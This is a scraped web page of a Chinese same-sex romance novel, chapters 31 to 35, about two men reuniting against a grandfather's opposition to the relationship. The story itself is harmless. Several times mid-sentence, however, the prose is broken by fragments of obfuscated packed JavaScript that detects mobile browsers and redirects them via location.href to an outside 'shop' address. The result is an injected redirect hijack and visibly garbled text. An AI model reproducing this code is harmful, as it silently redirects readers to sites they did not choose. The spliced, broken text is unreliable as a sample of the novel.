0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583443|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“稚舒,我爱你。”路煌坚定地告诉他。 许稚舒陡然睁开眼,眼中不受控制地盈满泪水,还没来得及眨,就滚落下来,无声无息。 可路煌能感受到他呼吸变了,从平缓变成了深呼,然后慢慢地身体开始发颤,压不住的抽泣轻而闷,再然后就是控制不住地哭出了声。 情绪的释放让许稚舒找到了更多真实感,他不用再装坚强,不用再告诉自己没关系。他就是不甘心,他就是有关系,他就是不想放手,不想理性,也不想顾及别人的感受,他就想私自一把,把路煌留在自己身边,永远陪着他。 路煌用力抱着他,此刻他已经不再纠结,他正视自己的内心,知道自己应该怎么做了。 之后三天,两个人都黏在一起,就像进入某个乌托邦的世界,不回任何消息,不说任何可能会不开心的事。两个人一起听音乐,看综艺,做饭,洗碗……日子好像进入了某个平行时空,没有别人,只有彼此。 得到充分休息的路煌脸色也好了起来,晚上抱着许稚舒能睡一个足时的整觉,醒来身边就是喜欢的人,这种满足是全方位的。 在春节假期的最后一天晚上,路煌开了瓶红酒,两个人坐在沙发上,明天就要回到正常的工作中去了,乌托邦的限定时间到了,像是预示着梦就要醒了。 路煌抓住许稚舒的手指,把玩似的捏了捏,从而缓和许稚舒的情绪,才说:“我知道我的这个决定对你来说有些艰难,但我只想和你在一起。所以,我们能不能重新开始?” 话不说出口,许稚舒还能说服自己模糊地去享受现下的时光。可现在事情还是被拿到台面上来了,许稚舒也不得不正视。 “那你家里怎么办?”许稚舒问。 “不知道,我不想骗你,我的确没想好怎么说服他们。但我能确定的是我不能没有你。”路煌放下酒杯,把下巴抵在许稚舒肩膀上,“我甚至想过带你远走高飞,去个没有人认识我们的地方,就这么两个人过日子,什么都不管了。” 路煌的答案许稚舒并不意外,如果路煌真的想好了办法,也不会这么冲动地跑到他家里来。而如果这件事这么容易解决,他和路煌也不至于分开了。 许稚舒浅喝了口酒,说:“其实懦弱的一直是我,是我不想面对不受祝福的感情。我从一开始就知道,你家那个圈子容不下同性恋人。你大嫂怀不上,不得不让你担负起延续下一代的责任,其实我是松了口气的。这样就不会显得我没有承担力,可实际上我就是。” 路煌的手臂有力地环住他,固执而慵懒:“我知道你怕什么,也理解你的不想面对。我不希望你违背本心,为了得到认可而去讨好我的家人,在他们的刁难中试图获取认可,那样只会显得我无能。我会尽量跟家里沟通,无论成还是不成,都不会为此跟你争吵,不会让你难过,也不会消耗我们的感情。” 许稚舒垂眸沉默了片刻,说:“我信你,但我不信自己,我可能会在感觉到压力的时候逃避。” “没关系,我会拉住你。”路煌在他耳边轻声说。 许稚舒没说好,也没说不好,只是侧了侧身,让路煌坐好,换他把脸贴进路煌怀里。 路煌立刻就明白了,没再说承诺的话,只是抱紧了许稚舒,这是属于他们的默契,一个动作就足以知晓对方的意思了。 32.第32章 春节假期结束后,两个人回到各自的工作状态。只不过这次路煌每天都住在许稚舒家里,就连衣服都拿过来不少。 许稚舒即便还有些对未来的不确定和惶恐,但就和他当初爱上路煌一样,他不想放手。 路煌下班回来,就看到许稚舒正在厨房腌牛排。许稚舒已经换上的家居服,宽松的裤子隐匿了双腿的线条,白T外面套了一件开衫,没有遮挡的颈部白皙中透着优雅,就像只骄傲的小天鹅。 他把外套往门口的衣架上一挂,就走进了厨房,从后面抱住许稚舒。 许稚舒已经听到他回来的动静了,只是没说话,路煌一过来抱他,他就笑了。 路煌听到他的笑声就觉得格外舒心,把人转过来,就吻上了去。 这个吻来的得有些突然,也是两个人重新开始后第一次接吻。许稚舒显然没做好准备,反应生涩。但很快就适应了,热烈地回应他。 安静的家里只有厨房传来窸窸窣窣的声响,越发深重呼吸让两个人有些忘情,都想凭借这个吻把对方锁在自己的贴身范围内。 许稚舒手上沾了腌料,一直没去抱路煌,他自己倒是被路煌圈得很紧,紧到连路煌的反应都感受得一清二楚。 唇舌追逐间,还是许稚舒先投降了,他微微瞥开头,路煌还不想结束,吻却落在了许稚舒脸上。 许稚舒轻喘着说:“我特地买的牛排,你不会不想吃晚饭了吧?” 路煌意犹未尽地抿了抿嘴唇,许稚舒可比他们分手的时候瘦了不少,他可以不吃饭,许稚舒可不行。 “放着,我来弄。”别的路煌不敢托大,但煎牛排、烤肉这种事,他的确很拿手。 “先去换衣服吧,我去找瓶酒。”许稚舒。他家里之前是不大放酒的,他也几乎不一个人喝酒。现在家里倒是有几瓶,还是去年年底跟杨阅去酒庄时尝着实在不错,加上包装很漂亮,不喝当个摆件也不错,这才买的。 路煌换上家居服就进厨房了,许稚舒在旁边切蔬菜做沙拉,烤箱里是涂了蒜香黄油酱复烤的法棍,旁边的灶台上煮着罗宋汤。 两个人吃饭比一个人要麻烦些,但两个人都不觉得麻烦,下厨也是二人世界的时光,他们可以聊一聊工作上的事,哪怕什么都不说,只要能感觉到对方在身边,就是最好的。 “我下午听到一个消息,跟你说一声。”路煌很有耐心地往牛排上浇着融化的黄油。 “什么消息?”许稚舒把拌好的沙拉放到餐桌上,才又返回厨房。 “盖留娱乐的老板在国外因为诈骗被抓了。”这事跟路煌没有关系,他就是听说了,回来当闲天跟许稚舒说说,没有什么态度和情绪。 “啊?”许稚舒一脸疑惑,“他诈骗?” 一个娱乐公司老板怎么跟诈骗联系到一起的,许稚舒实在想不明白。盖留娱乐推出的艺人市场表现还是不错的,跑去搞诈骗实在是不至于吧。 “确切地说,是他以盖留娱乐选练习生的名义,去东南亚那边挑了些女孩子。实则是想培养这些女孩去当十八线接客的。” 许稚舒听得眉头一皱:“盖留发展得还行啊,他至于吗?” “贪心上头了,就忘了自己到底有多大本事了。”路煌把煎好的牛排盛出来用锡纸包好醒着,“不得不说,国内音乐市场有限,盖留就算做得还可以,在这个大环境下也得多想个退路。只不过是盖留老板这一步走恶心了,想着那边色情业不受限制,又觉得从事那一行的没有那份清纯,不干净,就想自己组一团表面看起来是明星,实际是陪酒的。到时候他应酬起来就更方便了。” 这种事许稚舒不是没听过,只是他听说的都是国外的公司。 路煌继续说:“那些女孩子的家长得知盖留的老板拉着自己的孩子去做那种勾当,立刻就联合起来报警了。因为色情服务这一块不好告,家长们就直接告他诈骗,听说那些女孩作为练习生,还要向公司交钱。” “消息会传回国内吗?”许稚舒问。他知道在那种地方,如果钱给的到位,或许能摆平。 “应该会。就算音乐市场凉,竞争也一直很激烈。盖留老板想花钱摆平,也得其他跟他有竞争关系的娱乐公司愿意。我都能得到消息,他们早晚也会知道。”路煌不觉得这件事能大事化小,“你今年不是还有和盖留合作的计划吗?尽早推了吧。” 盖留的确在年初发来了合作邀请,希望许稚舒能为他们旗下的女团写歌。由于这个女团人员配置不错,虽然没大红,但国民印象很好,合作几乎没有风险。不过因为是下半年的项目,所以具体的还没谈。 “知道了,明天我让阿言找个借口推了。”许稚舒不想惹这些不必要的麻烦,口碑在这个圈子里还是很重要的。 次日,乐言就联系了盖留娱乐。许稚舒没有告诉乐言原因,乐言也没问。但没想到盖留娱乐也没问原因,只是表示知道了,也没说客套话,就匆匆挂了电话。 乐言满心疑惑,觉得盖留娱乐怎么怪怪的,哪怕是表示一下不高兴他也能理解。 路煌已经好几天没有回路家了,也没有给老爷子打电话问问他的身体。回到乐湾山的别墅,老爷子没事复盘着路煌大过年了突然跑了,还一直没有回来,怎么想都觉得不对劲儿。 他是老了,但没糊涂,不是那么好糊弄的。现下他也没有别的事,就让人去查了一下路煌的动向。这也是他第一次查家里人的行踪,因为实在觉得不对劲儿。 结果不查还好,一查就扯出了一串的事,就连郑昌在相亲圈散布路煌是同性恋的消息都查到了。 老爷子看着眼前这些资料都傻了,他怎么都不能相信路煌喜欢男的。可根据路煌这几天的行踪可知,他一直跟许稚舒待在一起。老爷子不知道什么叫CP粉,可这并不妨碍手下人通过CP粉的各种剪辑和照片,把两个人可能存在的关系整理成资料一并交给老爷子。 就算老爷子通过资料得知郑昌是因为跟路煌的私人恩怨才蓄意造谣,可能本身并不知道什么内幕。但现在这么多证据摆在眼前,他二孙子眼下更是堂而皇之地跑人家去住了,他怎么可能弄不明白状况? 作为老一辈人,老爷子本能地不能接受,他也第一次理解了那些棒打鸳鸯的父母。不是做长辈的心狠,而是明知道不合适,放任下去很容易成为怨偶。何况是两个男的,没有孩子连个牵绊都不存在,如何长久? * 一早,许稚舒先出的门,出门前路煌抱着他腻歪了一会儿,说晚上不回来吃饭,问要不要给他带夜宵。 许稚舒拒绝了他的提议,让他晚上少喝些酒。 路煌欣然同意,许稚舒不喜欢他做什么,他肯定不做的。 刚到工作室没多久,李瑶就打了内部电话上来,说路老爷子来了,想见许稚舒一面。 许稚舒顿时神经紧绷,他并没有做好面对路煌家里人的准备。路煌也跟他说过,在把家里搞定之前,不会让他去见家长。许稚舒当然是相信路煌的,现在路老爷子过来,路煌肯定不知道。至于路老爷子怎么查到他这儿来的,许稚舒都不用多想,以路家的能力,只要想查,不过是早晚的事。只是他没想到路老爷子会亲自找过来。 “请老爷子去一楼会议室吧,我马上下去。”人都来了,许稚舒不可能避而不见,他可以在路煌面前表达自己所有的不愿意,做一个软弱的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“我们路家主业是做港口生意的,港口别说对一个市了,就是对一个国来说都是非常重要的。我们能拿到这个项目,足以证明我们路家可靠,得上面信任,资金实力也足够雄厚。正是因为这样,路家必须一代一代要有合格的继承人,才能确保生意不出问题,否则转换到任何人手里,都会成为隐患。 “我想你应该能理解这一点。家里路煊和玉欣不知道为什么,也去医院用过辅助的方式,可就是怀不上。考虑到玉欣作为女孩的身体健康,我一个老头子,不好说什么。小孙女大学还没毕业,指望不上她。只有路煌正好到了适婚的年纪,人也比较成熟了,由他的孩子作为下一代的继承者,我能放心。所以希望你能多方考量,主动跟路煌分开。” 这么大一顶帽子扣到许稚舒头上,许稚舒觉得自己都说不出来一个不字。老爷子说是他自做主张来的,他也怪不了路煌。 他能明白路家的难处,也明白路老爷子对家族事业的看重。可谁又能理解他的心呢? 压抑了一下心底浮上来的情绪,许稚舒道:“您说的我都知道了,路老先生,我和路煌在一起九年,不是说断就能断的。” 路老爷子的惊讶完全没掩饰住:“九年?” “是。我想我需要跟路煌聊一聊。”他们不是没分开,而是分了两个人都难受。他有很多话可以说,但心里一旦有了绝望,就什么都不想说了。 路老爷子嘴唇动了动,最终什么都没说出来。出于礼貌地喝了一口茶,老爷子站起身:“打扰了,我就先回去了。” “好,您慢走。”许稚舒没去送,他不想去,也没有立场去。他保持住了体面,已经足够了。 而回到车上的路老爷子久久未语,直到司机问他是否直接回乐湾山,老爷子才疲惫地捏了捏眉心,说:“回去吧。” 33.第33章 从见到路老爷子的那一刻,李瑶凭借自己女性的直觉,就认为事情不妙。就她目前了解的情况,无论出于什么原因,路老爷子都不应该来找许稚舒才对。 她不知道两个人聊了什么,但看许稚舒这么有礼貌的人都没出来送人,可见聊得并不开心。 无论是出于之前路煌的嘱托,还是内心对许稚舒的偏向,她都没办法当无事发生,于是悄悄联络了路煌。 得知爷爷去找了许稚舒,路煌就觉得血往脑子上涌。家里不想接受,把劲儿都往他身上使,他没什么可说的。但不能去找许稚舒! 取消了与被投资人的午餐,路煌直接开车去了乐湾山。 “哎呦,怎么这个时间过来了呀?”路老太太今天没有聚会,大冷天的她也不爱往外跑,这几天都在家。 路煌扶了一下迎出来的奶奶,直接问:“爷爷呢?” “在换衣服呢,马上出来了。你来得巧,你爷爷刚回来。” 老太太话音刚落,路老爷子就从房间里出来了。 路煌三步并两步走过去,脸色难看到极点,也顾不上自己有没有教养了,问道:“你有什么事可以找我,为什么要去找他?!” 路老爷子的火气一下就上来了,被小辈质问,哪个长辈能有好脸? “混账东西!你当初是怎么说的?现在想反悔,还要做这么出格的事,你对得起家里吗?!” 老太太一看两个人这是要吵起来的架势,连忙走过去劝:“有什么事好好说,怎么这么大火气呢?” 然而两个人都在气头上,根本听不进去。 “是,我是出尔反尔,没办法满足您的心愿了。但我也是个人,是个有感情的人,我找到了对我来说更重要的人,难道我没有反悔的权利吗?”路煌挨打挨骂都不怕,就是非常生气,“是我招惹的他,您有什么冲着我来,瞒着我去找他,您不会觉得不齿吗?” 路老爷子眼睛瞪得溜圆:“不齿?如果不是你搞这一出,家里还是会一如既往地和睦。现在你跑去跟个男的在一起,你知道路家绝后对家族的未来有多大影响吗?还是说你现在准备把生孩子的压力推回给你大哥和大嫂身上?” “为了让家里有继承人,您就觉得自己怎么都是有理的。如果这个家没有我,您又要怎么办?大哥大嫂没有孩子,是他们不想有吗?您为了家里有继承人,就准备拆散一对是一对吗?!” 路老爷子:“你别跟我犯浑!我说了,家里不能没有继承人!你要是不听劝,非要跟一个男的在一起也行,让你大哥离婚,再找一个能生的!” 路煌气得眼都红了:“您说的这是什么话?婚姻是儿戏吗?就因为生不出孩子就要逼大哥离婚,这是一个长辈应该说的话吗?有问题就应该去解决问题,而不是解决人,这个道理不是您教我们的吗?” “那你说怎么办?你给我一个完美的办法,让路家的家业能继承下去!”路老爷子怒吼。 “我不知道怎么办,也没有办法。您去找他,已经踩到我的底线了。我不可能跟他分开,我看您精神这么好,不如自己想想怎么办。”路煌气恼地撸了一把头发,“我担不起延续家族的责任了,是我对不住家里,您要怨我就怨,我无话可说。您要是觉得我给家里丢人了,我可以放弃继承权,我什么都不要了。但您不许再去找他!” 老太太在旁边把两个人争吵的原因听明白了,脸色也难看起来,并非常不赞同地看向老伴。 “没有路家,你以为你还能这么嚣张吗?!行,那你给我滚!我就当没有你这个孙子!”路老爷子这辈子没让晚辈气着过,路煌对他来说就是翻了天了。 “你说什么呢!”老太太忙劝。 路煌却道:“行。”然后转身就走。 老太太叫了路煌几声,并没把人叫住,她又气乎乎地招着老爷子的胳膊拍了一巴掌:“这种事你怎么不跟我说?你不是最看不上那些棒打鸳鸯的家族吗?怎么到老了自己干起糊涂事了?” “在什么位置说什么话。路家不能没有下一代!”老爷子梗着脖子,脸上通红。 看他这样,老太太赶紧扶他坐下:“你冷静一点,小心血压。” 路煌没有急着去找许稚舒,他知道许稚舒现在一定很难受,但他想把自己的事处理完再去找他,如果先去找他,再回公司处理事务,许稚舒恐怕会觉得是因为他看到他难受,才做了这样的决定。 其实这个结果完全在路煌的预料之中。他很清楚他想要自由去爱,就要放弃一些东西。的确,他一开始答应,后来又反悔,显得很没有担当,甚至会给大哥大嫂带去不小的困扰,可他没有更好的办法了。他现在唯一明确的是他不能没有许稚舒。 回到公司,路煌以最快的速度开始工作交接,因为早有准备,倒不忙乱。江铭做为他的助理和公司的骨干,最了解他手上的项目内容,他走了,工作全交接给江铭是最稳妥的。 这期间他佯装无事地给许稚舒发消息,说晚宴取消了,问他想吃什么,他去超市买,或者两个人出去吃也可以。 许稚舒那边也佯装无事地回他的话,说晚上想吃炸鸡,可以买了拿回家吃。 他甩手不干了,也不能一声不吱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“生气是肯定的。但他们可以相互安慰,可以聚在一起想路家未来的路怎么走。但你只有我了,我不会再放你一个人。”路煌早就考虑好了,所以他并不纠结。 许稚舒抿了抿嘴唇,嘴角扬了扬,他很开心。 片刻之后,路煌放开许稚舒,转而拉住他的手:“提前下班行不行?” “好。”许稚舒笑应了。 他们拿出勇气去面对两个人的未来,以后无论是顺遂还是坎坷,都有对方的陪伴。这样的喜悦,是发自心底的自我肯定,肯定自己的选择,肯定自己的能力,也肯定自己会过好有对方的这一生。这样对未来的确定感,是他们给彼此最好的礼物之一。 34.第34章 许稚舒提前下班了。李瑶目送两个人离开,脸上明显是松了口气的。别人或许不知道路煌到底什么态度,可她心里很明白,如果路煌真的能放下,就不会继续与她保持联系。 或许她的想法还是过于单纯,可两个相爱的人在一起,不是理所应当的吗?况且许稚舒的条件又不差,算不上攀附。 两个人恋爱还是一如既往选择低调,严格意义上来说,他们还不算过气,所以低调总是没错的,事以密成,现在的两个人也不得不相信一些小玄学。 提着外带的炸鸡,两个人回到家。路煌挑了一部刚上流媒体的电影,两个人依偎在一起边吃晚饭边看电影。 许稚舒没问路煌接下来有什么打算,就算路煌什么都不做,他也能把家养好。其实他还是会有些担心的,怕路煌从事其他工作,会被家里阻挠,从而逼迫路煌回家去。 电影看完,路煌收拾起杂物,这些在家他是不用干的,可跟许稚舒在一起,他舍不得让许稚舒干,都会自己动手。 许稚舒坐在沙发上,随手拿过肩颈按摩仪给自己扣上,启动放松肩颈:“你把手里的工作都交出去了,初黎怎么办?” 这是路煌这么多工作中,他唯一关心的。和二次合作能不能顺利进行无关,主要是Breeze刚出道,下一次回归很重要,如果出了问题直接跌落,那前期的努力可就白费了。到时候得意的可能就是杨阅了。 “不清楚。”这也是路煌比较在意的。投资公司他接手之前就已经在正轨上走了好多年了,说实在的,没有需要他必须过问的地方,只是遇到好项目需要开公讨论而已。初黎不一样,它是从衰败逐渐往上走的一个过程,这中间的管理安排上,路煌下的工夫比较多。 “希望不会影响到Breeze的后续发展。”许稚舒会担忧,却也不好说什么。 路煌想了想,说:“我家里应该不会蠢到放任不管,最差也是找一个有经验的人前去管理。我之前已经在考察合适的人选了,但想找理由和你多见几次,所以迟迟没有定下来。” 许稚舒失笑,说了心里话:“不管怎么样,我是不希望纬弦占便宜。”如果Breeze半路倒了,只要Serein下次回归工作质量在线,就很有可能分走之前关注Breeze的粉丝,到时候纬弦的经营数据就会很好看。 杨阅之前的口出狂言路煌有关注到,如果杨阅跟许稚舒不是还有那么一层关系,路煌根本不会在意这些。 路煌捏了捏他的耳垂:“行,不让他占便宜。” 他不是对未来一点打算都没有,在娱乐圈这么多年,他也有自己的人脉和可以从事的项目。只是眼下,他希望多花一些时间陪许稚舒,以弥补两个人分开的时间。 许稚舒被机器按得正舒适,路煌的手机就响了,来电显示的是路煊的名字。 路煌微微皱了皱眉,没有躲开许稚舒,接了电话。 “在哪儿?”路煊的语气很平静,和平时没有两样。 “和稚舒在一起。”路煌答。他没说在许稚舒家,两个人在一起能去的地方可太多了。 路煊没有细问,只说:“爷爷住院了,我觉得应该跟你说一声。” 路煌脸色明显一沉,问:“怎么了?” “血压高了,为了保险起见,送医院来观察。”路煊没提得知祖孙两个吵架的事,只是爷爷住院,于情于理都应该告诉路煌,至于路煌来不来探望,就不必强求了。 “我知道了。”路煌没有过多的表示。别说老爷子气得高血压了,就连他吵完出来,都觉得头疼。 路煊没再多说,只让他好好照顾自己,就挂了电话。 许稚舒敏锐地觉察到路煌脸色不好,等他挂了电话才问发生什么事了。 路煌跟他说了实话。 许稚舒怕路煌改变主意,可老爷子的身体也不能不闻不问:“你去看看吧。” 路煌考虑了片刻,说:“明天再去吧。都在医院了,应该出不了事。” 说完,他又握了握许稚舒手,说:“不许乱想。吵都吵完了,我不会妥协的。你也不许劝我。” 许稚舒笑起来,说:“我没想劝你。” “那就好。”但凡他们有一方不坚定,都不会有好结果。 一夜无话。 第二天一早,路煌和许稚舒一起吃了早餐,就前往医院探望老爷子了。今天是周末,许稚舒不上班,否则路煌肯定会选择先送他去工作室。 他到的时候,老爷子刚吃了药,这会儿坐在窗着晒太阳,管家在医院陪着。 见路煌来了,管家还挺高兴,祖孙两个吵架的时候,他就在厨房。因为不好出面,在确定老爷子不至于动手后,他就没上来劝。现在路煌来了,在他看来总是有缓和的余地的。 “哼。”看到路煌,老爷子就没有好脸。 路煌把带来的水果放到桌上,正想问管家医生怎么说,路老爷子就先开口道:“不用讨好我,我是不会同意的!” 听他这么中气十足的样子,路煌也就不用多过问了:“不是讨好您,是大哥的电话已经给我打过来了,我理应来看看。” 路老爷子怒瞪他,仿佛弄不明白家里怎么就突然冒出来这么一个不孝子。 路煌这次语气很平静:“您放心,我也不会让稚舒来讨好您,换得您同意。家里对我的培养我很感激,可我有自己的路要走。我的选择与我接受到教育违背,但人生不就是这样吗?总会遇上一些突破原有认知的事。我的人生或许提炼不出什么像样的真理,只是按自己的意思让自己活得像自己而已。” 老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599262|185046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爷子把头转到窗外,一个眼神都不给他了。 路煌把自己要说的说完,跟管家说辛苦他照应了,便离开了病房。 老爷子转头瞪着关上的门,又重重地哼了一声。 刚到楼下,路煌迎面就遇上来看老爷子的路煊。 对于路煌的到来,路煊一点都不意外:“聊几句?” “行。”路煌跟着路煊往外走。 买了咖啡,两个人来到路煊的车上,路煊看得出路煌气色明显好多了,可见这些天过得还不错。 “哥,抱歉啊。原本说得好好的,我却反悔了。”从小到大,他跟他哥的感情都非常好,如果说现在压力最大的,还是他大哥。 路煊倒是笑了:“说实话,我并不意外。” “嗯?”路煌不解地看着他。 “咱们路家人都痴情,你要是跟稚舒只谈了一两年也就罢了,这么多年的感情你要是真能放下,我都在怀疑你的心到底是有多硬。”路煊微笑说,“这样挺好,之前你帮我们顶了压力,我心里也过意不去。现在咱们都回到为自己的人生负责的轨道上,就不会有亏欠感。” 路煌轻轻叹了口气:“嫂子呢?我怕她状态不好。” 之前陈玉欣要孩子一直没要上,状态就是越来越差。 “没事,挺好的。其实你敢跟爷爷正面刚,也给了我和你嫂子很大的勇气。老一辈有老一辈的执念,但咱们年轻人也有年轻人的活法。我之前被困在孝道里,总是不忍心违拗长辈的话,现在却觉得粉饰太平才是愚蠢的行为。”路煊这些话是在安慰路煌,同时也是在安慰自己。他们好像都迎来的迟到的叛逆期,想来还是有点搞笑的。 “我没想那么多。其实我也想过一步步来,但爷爷去找了稚舒,我火就蹿上来了。昨晚接完你的电话我就在想,爷爷生病了,身体不舒服,身边的肯定会有人把他送到医院去。可如果生病的是稚舒,他身边一个人都没有,只有我了。”路煌说。 路煊拍拍路煌的肩膀,兄弟两个无需再多言,对对方只有支持。 片刻后,路煊又说:“你手里的投资公司爸爸先帮你管着,但初黎娱乐是我和爸都不擅长的领域。爷爷也没说要收回来,公司刚有起色,别你撂挑子又塌了,你要是没什么事,就先管着吧。爷爷不问,我们也不提。” “行。”路煌没有犹豫地答应了。既然许稚舒也担心Breeze的发展,他继续管着,至少在回归期还不会出问题。至于再以后的事,就以后再说吧。 兄弟两个把话说开了,就更没有嫌隙了。路煊说等过几天四个人约着吃个饭,路煌欣然同意。 只不过让路煌没想到的是,四个人的饭还没约,路千瑗的电话就先打来了,说自己马上要回学校了,想在离开前跟二哥二嫂吃顿饭,开心一下。 35.第35章 “你知道得不少啊。”路煌打趣她。 他跟路千瑗差了六岁,已经没有相互陪伴长大的机会了,那会他只觉得路千瑗哭起来很烦,他更喜欢跟大哥待在一起。 不过路千瑗一直是话不多,却很暖心的女孩。就算平日里不怎么联系,但到了路煌生日,总能收到妹妹送的生日礼物,所以兄妹两个的感情也不错,只是没有他跟大哥那么亲近。 “我当然什么都知道,不要小看我。”路千瑗笑说。她对外不大愿意跟男生相处,女生朋友倒是多得不得了。这也不怪她,任何一个男生放在她两个哥哥面前一比,都让她觉得差得太远,提不起兴致。哪怕是他留学的学校里的那些精英,她也会觉得这些人身上有种傲慢。她堂堂路家小姐,别人跟她玩傲慢,配吗? “没小看你,只是意外。你什么时候知道的?”路煌左右没事,就跟妹妹多聊一会儿。 “这说来可就话长了,一开始我只是看到你们CP的话题,点进去凑热闹,你也知道,国外的课余时间很无聊的,我又不打工,那边的美食都是灾难,只有追星和看八卦能慰藉我贫瘠的生活。”路千瑗这番感慨听着还是个小朋友。 鉴于路千瑗学习成绩优秀,该有的实习没有落下,也没有不良嗜好,路煌自然不会说她业余时间不干正事。 路千瑗接着说:“然后我看着看着就觉得你的眼神很不对。咱们毕竟是亲兄妹,你一个眼神我就知道你什么意思。你看许稚舒的眼神绝对不是看队友,再看你们的互动和CP粉扒出来的图,我就知道事情没那么简单。” 路煌笑问:“我是不是还得叫你一声路侦探啊?” “客气客气。”路千瑗非常厚脸皮地收下了赞美,“今年我过年回来,发现你状态超差的,就觉得事情有变。不过现在看来你是下定决心了,我这个当妹妹的别的可能帮不上忙,但支持哥哥这方面,我可不落后。” 路煌逗她:“怎么,就用嘴支持?” “你这话说的,我不得先表明态度,才能有进一步的行动吗?” “现在爷爷已经够生气了,估计爸妈那里态度也不会太好,你还是老实待在家里,等假期结束就回去吧。”路煌并不想把路千瑗扯进来,在家里人眼中,路千瑗还是个小孩儿,挨骂了估计会闹脾气。 “我这次回去也没有太多事,就是等着毕业,晚几天回也没事。我看爸的脸色还行,妈倒是不太高兴。不管怎么样吧,咱们约个饭肯定没坏处,你就当我是给你们加油的气氛组,在面对困难的时候,总得被鼓励一下才会有动力。”路千瑗振振有词。 她的最后这句是打动路煌了,路煌考虑了一下,说:“等我问问稚舒的意思,他要是愿意就让你见。” “行。我等你消息。”路千瑗愉快地挂了电话。 路千瑗想约饭的事路煌跟许稚舒提了。许稚舒也很意外,没想到路煌这个很少提起也不在国内的妹妹反倒成了他们的支持者。 小姑娘一片好心,许稚舒不忍心拒绝,便同意了。 不过饭还没吃上,盖留娱乐老板的事就被曝出来了。圈内风声瞬间紧起来。娱乐圈的花边新闻本来就多,现在又出了这样大的事,所有娱乐公司都会被连带怀疑是否同样存在桃色交易。粉丝们怕自担也被强迫做过不法勾当,都冲到网上开始声讨加自鉴清白。娱乐公司集体沉默,它们关系网盘根错节,出来解释容易越描越黑,只能装哑巴。 当然,位于舆论顶端的还是盖留娱乐,他们老板是被抓了,估计现在在局子里蹲着根本不知道外界情况。但公司的艺人可就遭殃了,去哪儿都会有大批的记者追过去,哪怕艺人们不回答记者的问题,只要拍到一些艺人们惊恐、憔悴,或者不耐烦的照片,都能吸引一波流量,他们的目的就达到了。 而不少跟盖留的艺人有合作的品牌要么中止合作,要么取消合作,总之一个个避之不及,宁可错杀,也不能放过一个。 许稚舒看了一天各种爆料,仿佛对这个世界有了新的认识。这种时候他还挺庆幸自己已经退了的。就连贺漾他们三个都在这次事件中被拉出来分析陪酒陪睡的可能性,如果他和路煌还在台前,肯定也逃不过。 “哥,你今天早点回去吧。”乐言来到办公室,“明后天也尽量别过来了。” “怎么了?”许稚舒不解。 乐言难得表情这么严肃:“刚听到个小道消息,有记者准备往咱们这边来了,具体会不会过来还不确定,但他们有这个意向。” “来咱们这儿干什么?”许稚舒脑子一时没转过来。 “现在娱乐记者挖消息都挖疯魔了,有事没事先打一竿子再说。哥,你还没过气呢。现在贺哥他们都被拉下水了,记者们不敢得罪路少,拍你也是一个选择。但现在你和路少的关系……还是尽量避开吧。”乐言的小道消息源还是很给力的。 “行,那我先回去。”许稚舒立刻起来收拾东西,并给路煌发了消息,说他先回家,让路煌下班不用过来接他了。 如果不是他跟路煌重新在一起了,许稚舒也不会这么谨慎。他甚至觉得如果他和路煌的恋情曝光了,说不定还真能把盖留的新闻压下去。 路煌回他的是电话,而不是消息。 看到路煌的名字,许稚舒笑着接了,反正现在记者还没追过来,他不用如临大敌一般:“工作不忙?” 那边路煌的语气也带着笑:“再有五分钟到你工作室楼下。” 许稚舒惊讶道:“怎么提前下班了?” 就算路煌自收到他的消息从初黎娱乐出发,五分钟后也是不可能到他工作室的。 路煌笑说:“就你能收到消息吗?” 许稚舒恍然,想来也是,如果路煌这几天不是在初黎上班,可能还没有那么快得到消息。 “好吧,那我等你。” 挂了电话,许稚舒让乐言和李瑶今天也早点下班,并表示明后两天他不过来了,这才套上外套下楼。 “有的记者为了流量容易激进,你们两个出入也当心些。”许稚舒嘱咐他们。 “哥,你放心吧。我和李姐有数。”乐言送他出门,路煌的车正好停在门口。 说好不管路家的公司了,家里的车路煌也不用了。现在他出入开的是市面上常见的一款车,是前些年路千瑗刚学驾照,家里给她买来练手的。现在路煌开着出入刚好,不惹眼,也不是记者熟知的他的车牌号,不容易被跟。 上了车,比系安全带先来的是路煌落在他脸上的吻。 许稚舒笑起来,说:“先去一趟超市,我要囤货,这两天不来工作室了。” 路煌非常赞同,虽然盖留的事跟他们没关系,但他们在没过气的情况下,的确还是会成为被围追堵截的对象。尤其许稚舒写的歌现在还在音乐排行榜上待着呢,记者抓不到另外三个人,找许稚舒可要方便多了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 